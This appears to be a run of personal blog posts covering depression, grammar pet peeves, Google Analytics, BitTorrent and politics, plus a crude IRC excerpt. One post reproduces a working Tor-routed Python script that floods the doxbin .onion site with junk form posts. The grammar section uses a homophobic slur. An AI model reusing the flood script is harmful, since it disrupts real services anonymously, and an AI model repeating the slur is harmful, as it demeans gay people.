Having major depression sucks. I don’t remember how many times I’ve been diagnosed with major depression, but I do know that I’ve been on countless medications with countless horrible side effects and I’ve run the gamut on pills, some that people have never heard of. I’ve gone unmedicated for over two years now. Being unmedicated has been a rollercoaster of ups and downs. During peak times, things are amazing. I can more than function, I can succeed and overcome any obstacle. When the lowest points are hit, everything becomes an obstacle. Getting up in the morning is an obstacle. Getting out of bed is an obstacle. I can barely bring myself to keep in touch with people, everything turns into bitterness and hatred. When I’m happy, I’m an asshole because it’s fun. When I’m feeling horrible, I’m an asshole because it’s a self defense mechanism. Yes, I’m admitting to being an asshole, but at least I’m not always wrong when I’m an asshole.

The first issue I think that ought to be tackled would be confusing simple words with one another. I don’t understand it, but people seem to have completely lost the ability to discern “you’re” from “your” and “its” from “it’s”. “Their”, “there”, and “they’re” are also commonly abused. I’ll break it down for you.

##It’s and Its##

It’s

Conjunction. “It is”.

Use: “It’s cold out.” Or “It’s stupid of you to fuck this sentence up.”

Its

Adjective. Belonging to or associated with a thing previously mentioned.

“A faggot in its natural state will ignore this blog entry.”

Alright. We good with these two? You kids understand these two yet? Yeah, we’ll see how much your tweets are impacted. I’m beginning to think I should just drink before reading your tweets. Just saying.

I’ve been toying around with Google Analytics, and I’ve found some pretty interesting stuff. It actually flies beyond the border of creepy and flatly allows you to “stalk your stalkers”. They might as well coin the term “counter-stalking”, because they allow you to watch everyone who views your website, their behavior, and you can even make web design decisions that are quite sound based on what you find in the data and how you interpret it. After nosing around a bit, I can tell you that if I really wanted my website to take off I’d cease blogging rants about how Obama sucks or why we shouldn’t interfere in Israel’s “issues” and instead just post five lolcats a day. That would be all it takes to make this website über-popular. Just lolcats. Mind you, I’m not going to do that. I’m going to do what I damn well please because I don’t blog to please others, I blog to please myself. So this crevice can remain solemnly unpopular for all the fucks I give. But just check out how creepy this “user interaction flow” is.

I no longer care to hear about your “issues” with bittorrent. I’m nearing the 20GB uploaded mark on What.CD with a 48 kbps upstream. If you ask me, that’s an accomplishment on it’s own. So quit your bitching, there are people who have it worse than you. I make do, dammit. I think I do rather well with what I have.

Pic related.

Looks like #prosec is nerdraging on @doxbin. The effects can be seen here. The attack I noticed first was a semi-lame HTTP POST attack that floods doxbin with garbage “dox”. Code here:

#!/usr/bin/python

import socks
#google it, it's a common python extension
import socket
#127.0.0.1:9050 is the default TOR socks4 proxy
#this connects to TOR
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, "127.0.0.1", 9050)
socket.socket = socks.socksocket
from httplib import *
from urllib import *
import random
import time
import hashlib

times = 1
while 1:
	############DOX############
	doxrand = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
	dox = hashlib.sha224(doxrand).hexdigest()
	print dox
	#doxrand = picking a random character
	#dox = SHA hashing of the random character defined in doxrand
	##############NAEM###########
	naemrand = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
	naem = hashlib.sha224(naemrand).hexdigest()
	print naem
	#same as above
	##############

	connection = HTTPConnection("doxbinumfxfyytnh.onion")
	#establishing HTTP conenction to website
	head = {"Content-Type" : "application/x-www-form-urlencoded", "Accept" : "text/plain"}
	#constructing the header, so the webserver will respond properly
	parameters = urlencode({"naem" : naem, "dox" : dox})
	#defining the data to be used during POST, note naem and dox refer to the random strings from ealier
	#they must correspond to the ID fields from the web form, otherwise..it won't work
	connection.request("POST", "/post.php", parameters, head)
	#pushing the data to the post function of the php file
	print 'Connection OK...Continuing..'
	print 'Spammed', 
	print times, 
	print 'times!'
	times = times + 1
	time.sleep(30) #in seconds
	#self explanitory

Now, however, it looks like there are 403 Forbidden errors. I’m thinking Nachash will get things running again soon.

This facebook thread made me giggle a little. I have as friends some really hard pro-Bama people, and it’s interesting to see what flits across my facebook from day to day. I despise the Republican party for a lot of the reasons I despise Obama. They’re old-fashioned, backed entirely by greedy corporations, and favor iron-fist control over the people when it comes to security- not just at home but abroad as well. For reference, here are the links mentioned in the thread:

[18:44:05] <Aar0n> i fit a Sharpie up my urethra the other day
[18:44:11] <Burgina> hawt
[18:44:23] <o_o> eww
[18:44:29] <Aar0n> maybe thats why i pee black chunks
[18:44:38] <Aar0n> I fergot to put the cap on first
...
[18:45:29] <Aar0n> i found this killer vag mesh video anyone wanna see?
[18:45:33] <Burgina> yes
[18:45:47] <o_o> brb
[18:45:51] <Aar0n> naa ill be a good boy